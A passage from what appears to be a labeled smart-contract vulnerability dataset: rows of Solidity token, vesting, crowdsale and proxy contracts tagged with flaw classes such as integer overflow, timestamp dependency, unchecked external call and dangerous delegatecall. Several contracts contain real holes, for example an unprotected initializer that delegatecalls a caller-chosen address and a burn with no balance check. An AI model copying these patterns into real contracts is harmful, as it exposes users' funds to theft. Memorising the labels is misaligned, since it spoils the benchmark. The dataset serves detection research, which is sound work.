byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 7753.sol,"pragma solidity ^0.4.21; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BVesting is Ownable { using SafeMath for uint256; address public teamWallet; address public earlyWallet; address public institutionWallet; uint256 public teamTimeLock = 1000 minutes; uint256 public earlyTimeLock = 5 * 30 minutes; uint256 public institutionTimeLock = 50 * 30 minutes; uint256 public teamAllocation = 15 * (10 ** 7) * (10 ** 18); uint256 public earlyAllocation = 5 * (10 ** 7) * (10 ** 18); uint256 public institutionAllocation = 15 * (10 ** 7) * (10 ** 18); uint256 public totalAllocation = 35 * (10 ** 7) * (10 ** 18); uint256 public teamStageSetting = 34; uint256 public earlyStageSetting = 5; uint256 public institutionStageSetting = 50; ERC20Basic public token; uint256 public start; uint256 public lockStartTime; mapping(address => uint256) public allocations; mapping(address => uint256) public stageSettings; mapping(address => uint256) public timeLockDurations; mapping(address => uint256) public releasedAmounts; modifier onlyReserveWallets { require(allocations[msg.sender] > 0); _; } function BVesting(ERC20Basic _token, address _teamWallet, address _earlyWallet, address _institutionWallet, uint256 _start, uint256 _lockTime)public{ require(_start > 0); require(_lockTime > 0); require(_start.add(_lockTime) > 0); require(_teamWallet != address(0)); require(_earlyWallet != address(0)); require(_institutionWallet != address(0)); token = _token; teamWallet = _teamWallet; earlyWallet = _earlyWallet; institutionWallet = _institutionWallet; start = _start; lockStartTime = start.add(_lockTime); } function allocateToken() onlyOwner public{ require(block.timestamp > lockStartTime); require(allocations[teamWallet] == 0); require(token.balanceOf(address(this)) == totalAllocation); allocations[teamWallet] = teamAllocation; allocations[earlyWallet] = earlyAllocation; allocations[institutionWallet] = institutionAllocation; stageSettings[teamWallet] = teamStageSetting; stageSettings[earlyWallet] = earlyStageSetting; stageSettings[institutionWallet] = institutionStageSetting; timeLockDurations[teamWallet] = teamTimeLock; timeLockDurations[earlyWallet] = earlyTimeLock; timeLockDurations[institutionWallet] = institutionTimeLock; } function releaseToken() onlyReserveWallets public{ uint256 stage = vestStage(); uint256 totalUnlocked = stage.mul(allocations[msg.sender]).div(stageSettings[msg.sender]); require(totalUnlocked < allocations[msg.sender]); require(releasedAmounts[msg.sender] < totalUnlocked); uint256 payment = totalUnlocked - releasedAmounts[msg.sender]; releasedAmounts[msg.sender] = totalUnlocked; require(token.transfer(teamWallet, payment)); } function vestStage() public view onlyReserveWallets returns(uint256){ uint256 vestingMonths = timeLockDurations[msg.sender].div(stageSettings[msg.sender]); uint256 stage = (block.timestamp.sub(lockStartTime)).div(vestingMonths); if(stage > stageSettings[msg.sender]){ stage = stageSettings[msg.sender]; } return stage; } }",./Dataset/timestamp dependency (TP)/,6,6 187.sol,"pragma solidity ^0.4.11; contract Owned { address public owner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _newOwner) onlyOwner { if(_newOwner == 0x0)revert(); owner = _newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function toUINT112(uint256 a) internal constant returns(uint112) { assert(uint112(a) == a); return uint112(a); } function toUINT120(uint256 a) internal constant returns(uint120) { assert(uint120(a) == a); return uint120(a); } function toUINT128(uint256 a) internal constant returns(uint128) { assert(uint128(a) == a); return uint128(a); } } contract Token { function totalSupply() public returns (uint256 supply); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); function burn( uint256 _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); } contract HealthyCoins is Token, Owned { using SafeMath for uint256; uint public _totalSupply; string public name; uint8 public constant decimals = 4; string public symbol; uint256 public mintCount; uint256 public deleteToken; uint256 public soldToken; mapping (address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) allowed; function HealthyCoins(string coinName,string coinSymbol,uint initialSupply) { _totalSupply = initialSupply *10**uint256(decimals); balanceOf[msg.sender] = _totalSupply; name = coinName; symbol =coinSymbol; } function totalSupply() public returns (uint256 totalSupply) { return _totalSupply; } function () { revert(); } function transfer(address _to, uint256 _amount) returns (bool success) { if (balanceOf[msg.sender] >= _amount && _amount > 0) { balanceOf[msg.sender] -= uint112(_amount); balanceOf[_to] = _amount.add(balanceOf[_to]).toUINT112(); soldToken = _amount.add(soldToken).toUINT112(); Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balanceOf[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0) { balanceOf[_from] = balanceOf[_from].sub(_amount).toUINT112(); allowed[_from][msg.sender] -= _amount; balanceOf[_to] = _amount.add(balanceOf[_to]).toUINT112(); Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint(address _owner, uint256 _amount) onlyOwner{ balanceOf[_owner] = _amount.add(balanceOf[_owner]).toUINT112(); mintCount = _amount.add(mintCount).toUINT112(); _totalSupply = _totalSupply.add(_amount).toUINT112(); } function burn(uint256 _count) public returns (bool success) { balanceOf[msg.sender] -=uint112( _count); deleteToken = _count.add(deleteToken).toUINT112(); _totalSupply = _totalSupply.sub(_count).toUINT112(); Burn(msg.sender, _count); return true; } }",./Dataset/integer overflow (OF)/,4,4 35591.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract VRRCOIN is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function VRRCOIN( ) { balances[msg.sender] = 5000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 5000000000; // Update total supply (100000 for example) name = ""VRRCOIN""; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = ""VRRT""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x050a0bb563e7cf21eb29df0bb39e9f092fa2cd3f_AICT.sol,"pragma solidity ^0.4.18; /* Copyright AICT Foundation. https://www.aict.io/ */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract AICT is StandardToken, BurnableToken, Ownable { // Constants string public constant name = ""AICT""; string public constant symbol = ""AICT""; uint8 public constant decimals = 9; uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals)); uint public amountRaised; uint256 public buyPrice = 0; bool public crowdsaleClosed; function AICT() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); require (balances[_to] + _value > balances[_to]); balances[_from] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); } function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public { crowdsaleClosed=closebuy; buyPrice = newBuyPrice; } function () payable public{ require(!crowdsaleClosed); uint amount = msg.value ; amountRaised+=amount; _transfer(owner, msg.sender, amount * buyPrice); } function safeWithdrawal() onlyOwner public { owner.transfer(amountRaised); } function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); return true; } }",Safe,8,8 26284.sol,"pragma solidity ^0.4.18; contract DelegateProxy { function delegatedFwd(address _dst, bytes _calldata) internal { assembly { let result := delegatecall(sub(gas, 10000), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } contract Delegatable { address empty1; address empty2; address empty3; address public owner; address public delegation; event DelegationTransferred(address indexed previousDelegate, address indexed newDelegation); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferDelegation(address newDelegation) public onlyOwner { require(newDelegation != address(0)); DelegationTransferred(delegation, newDelegation); delegation = newDelegation; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Parsec is Delegatable, DelegateProxy { function () public { delegatedFwd(delegation, msg.data); } function initialize(address _controller, uint256 _cap) public { require(owner == 0); owner = msg.sender; delegation = _controller; delegatedFwd(_controller, msg.data); } }",./Dataset/dangerous delegatecall (DE)/,1,1 762.sol,"pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public creater; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable(address _owner) public { creater = msg.sender; if (_owner != 0) { owner = _owner; } else { owner = creater; } } modifier onlyOwner() { require(msg.sender == owner); _; } modifier isCreator() { require(msg.sender == creater); _; } } contract TravelHelperToken { function transfer (address, uint) public pure { } function burnTokensForSale() public returns (bool); function saleTransfer(address _to, uint256 _value) public returns (bool) {} function finalize() public pure { } } contract Crowdsale is Ownable { using SafeMath for uint256; TravelHelperToken public token; uint public ethPrice; address public wallet; uint256 public weiRaised; bool public crowdsaleStarted = false; uint256 public preIcoCap = uint256(1000000000).mul(1 ether); uint256 public icoCap = uint256(1500000000).mul(1 ether); uint256 public preIcoTokensSold = 0; uint256 public discountedIcoTokensSold = 0; uint256 public icoTokensSold = 0; uint256 public mainTokensPerDollar = 400 * 1 ether; uint256 public totalRaisedInCents; uint256 public presaleTokensPerDollar = 533.3333 * 1 ether; uint256 public discountedTokensPerDollar = 444.4444 * 1 ether; uint256 public hardCapInCents = 525000000; uint256 public preIcoStartBlock; uint256 public discountedIcoStartBlock; uint256 public mainIcoStartBlock; uint256 public mainIcoEndBlock; uint public preSaleDuration = (7 days)/(15); uint public discountedSaleDuration = (15 days)/(15); uint public mainSaleDuration = (15 days)/(15); modifier CrowdsaleStarted(){ require(crowdsaleStarted); _; } event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(address _newOwner, address _wallet, TravelHelperToken _token,uint256 _ethPriceInCents) Ownable(_newOwner) public { require(_wallet != address(0)); require(_token != address(0)); require(_ethPriceInCents > 0); wallet = _wallet; owner = _newOwner; token = _token; ethPrice = _ethPriceInCents; } function startCrowdsale() onlyOwner public returns (bool) { require(!crowdsaleStarted); crowdsaleStarted = true; preIcoStartBlock = block.number; discountedIcoStartBlock = block.number + preSaleDuration; mainIcoStartBlock = block.number + preSaleDuration + discountedSaleDuration; mainIcoEndBlock = block.number + preSaleDuration + discountedSaleDuration + mainSaleDuration; } function () external payable { require(msg.sender != owner); buyTokens(msg.sender); } function buyTokens(address _beneficiary) CrowdsaleStarted public payable { uint256 weiAmount = msg.value; require(weiAmount > 0); require(ethPrice > 0); uint256 usdCents = weiAmount.mul(ethPrice).div(1 ether); uint256 tokens = _getTokenAmount(usdCents); _validateTokensLimits(tokens); weiRaised = weiRaised.add(weiAmount); totalRaisedInCents = totalRaisedInCents.add(usdCents); _processPurchase(_beneficiary,tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _forwardFunds(); } function setEthPriceInDollar(uint _ethPriceInCents) onlyOwner public returns(bool) { ethPrice = _ethPriceInCents; return true; } function _validateTokensLimits(uint256 _tokens) internal { if (block.number > preIcoStartBlock && block.number < discountedIcoStartBlock) { preIcoTokensSold = preIcoTokensSold.add(_tokens); require(preIcoTokensSold <= preIcoCap && totalRaisedInCents <= hardCapInCents); } else if(block.number >= discountedIcoStartBlock && block.number < mainIcoStartBlock ) { require(discountedIcoTokensSold <= icoCap && totalRaisedInCents <= hardCapInCents); } else if(block.number >= mainIcoStartBlock && block.number < mainIcoEndBlock ) { icoTokensSold = icoTokensSold.add(_tokens); require(icoTokensSold <= icoCap && totalRaisedInCents < hardCapInCents); } else { revert(); } } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { require(token.saleTransfer(_beneficiary, _tokenAmount)); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _getTokenAmount(uint256 _usdCents) CrowdsaleStarted public view returns (uint256) { uint256 tokens; if (block.number > preIcoStartBlock && block.number < discountedIcoStartBlock ) tokens = _usdCents.div(100).mul(presaleTokensPerDollar); if (block.number >= discountedIcoStartBlock && block.number < mainIcoStartBlock ) tokens = _usdCents.div(100).mul(discountedTokensPerDollar); if (block.number >= mainIcoStartBlock && block.number < mainIcoEndBlock ) tokens = _usdCents.div(100).mul(mainTokensPerDollar); return tokens; } function getStage() public view returns (string) { if(!crowdsaleStarted){ return 'Crowdsale not started yet'; } if (block.number > preIcoStartBlock && block.number < discountedIcoStartBlock ) { return 'Presale'; } else if (block.number >= discountedIcoStartBlock && block.number < mainIcoStartBlock ) { return 'Discounted sale'; } else if (block.number >= mainIcoStartBlock && block.number < mainIcoEndBlock ) { return 'Crowdsale'; } else if(block.number > mainIcoEndBlock) { return 'Sale ended'; } } function burnTokens() public onlyOwner { require(block.number > mainIcoEndBlock); require(token.burnTokensForSale()); } function finalizeSale() public onlyOwner { require(block.number > mainIcoEndBlock); token.finalize(); } function _forwardFunds() internal { wallet.transfer(msg.value); } }",./Dataset/block number dependency (BN),0,0 0x0404561bdfb03984da88a04e698e2214de5379ff_CLIP.sol,"pragma solidity ^0.4.18; /** * @title ContractReceiver * @dev Receiver for ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } // ownership /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // four arithmetic operations the four basic arithmetic operators /** * OpenZeppelin/openzeppelin-solidity * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Approval(address indexed _owner, address indexed _spender, uint _value); } // CLIP TOKEN /** .--:///++++++++++///:--. .-:/+++++++++++++++++++++++++++++/:. -:++++++++++++++++++++++++++++++++++++++++/-. .:/+++++++++++++++++++++++++++++++++++++++++++++++:. .:++++++++++++++++++++++++++++++++++++++++++++++++++++++:. -/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/- -+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/- -+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` -/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` /++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/. .-- -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/. .-::::. :+++++++++++++++++++++++++++++++//::-........--://++++++++++/. .-:::::::- /++++++++++++++++++++++++++++/:.`` ``.:/++++/. `.-::::::::::- /++++++++++++++++++++++++++/-. `-:. `.::::::::::::::: /+++++++++++++++++++++++++/. `.:::::::::::::::::: :++++++++++++++++++++++++/. `.::::::::::::::::::::- -++++++++++++++++++++++++- .:::::::::::::::::::::::- +++++++++++++++++++++++/` -::::::::::::::::::::::: :++++++++++++++++++++++/` .::::::::::::::::::::::- ++++++++++++++++++++++/` -:::::::::::::::::::::: -++++++++++++++++++++++. ..........................::::::::::::::::::::::- /+++++++++++++++++++++: `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++. `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++` `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++ `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++` `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++` `::::::::::::::::::::::::::::::::::::::::::::::::: /+++++++++++++++++++++: `::::::::::::::::::::::::::::::::::::::::::::::::: -++++++++++++++++++++++` `--------------------------::::::::::::::::::::::: ++++++++++++++++++++++/ .::::::::::::::::::::::: :++++++++++++++++++++++: .::::::::::::::::::::::: +++++++++++++++++++++++: .:::::::::::::::::::::::. :++++++++++++++++++++++. .:::::::::::::::::::::::- /++++++++++++++++++++- .::::::::::::::::::::::. +++++++++++++++++++- .-::::::::::::::::::. +++++++++++++++++: .. .-:::::::::::::::. /++++++++++++++: .-//+:- .:/++/. .-::::::::::::. /++++++++++++: .-/+++++++++//:-.. ..-://++++++++/. .-::::::::: :++++++++++/` .:/+++++++++++++++++++++++++++++++++++++++++++/. .-:::::- ./++++++++//+++++++++++++++++++++++++++++++++++++++++++++++++/- .-::. `:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` .` ./++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` ./++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` `:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++: `-/++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` `-/++++++++++++++++++++++++++++++++++++++++++++++++/-. `.:/+++++++++++++++++++++++++++++++++++++++++:-` `.-:++++++++++++++++++++++++++++++++/:.` ``.-://++++++++++++++++//:--.` `````````` :::::: :: `:: ::::: ,,,,,,, ,,,,,, ,, ,,, ,,,,,, ,,. ,, :::,.,: :: `:: ::,::: ,,,,,,, ,,,,,,,,` ,, ,,, ,,,,,, ,,, ,, ,:: :: `:: :: :: ,, .,, ,,, ,, .,, ,, ,,,, ,, ::` :: `:: :: :: ,, ,,, ,,` ,, ,, ,, ,,,,, ,, :: :: `:: :::::: ,, ,, ,,, ,,,,, ,,,,,, ,, ,,, ,, :: :: `:: ::::: ,, ,, ,,, ,,`,, ,,,,,, ,, `,, ,, ::. :: `:: :: ,, ,,, ,, ,, ,,, ,, ,, ,,,,, .:: :: `:: :: ,, ,,. ,,, ,, ,,, ,, ,, ,,,, ,:::::: :::::,`:: :: ,, .,,,,,,, ,, `,, ,,,,,, ,, ,,, .::::: :::::,`:: :: ,, ,,,,, ,, ,,, ,,,,,, ,, ,, */ contract CLIP is ERC223, Ownable { using SafeMath for uint256; string public name = ""ClipToken""; string public symbol = ""CLIP""; 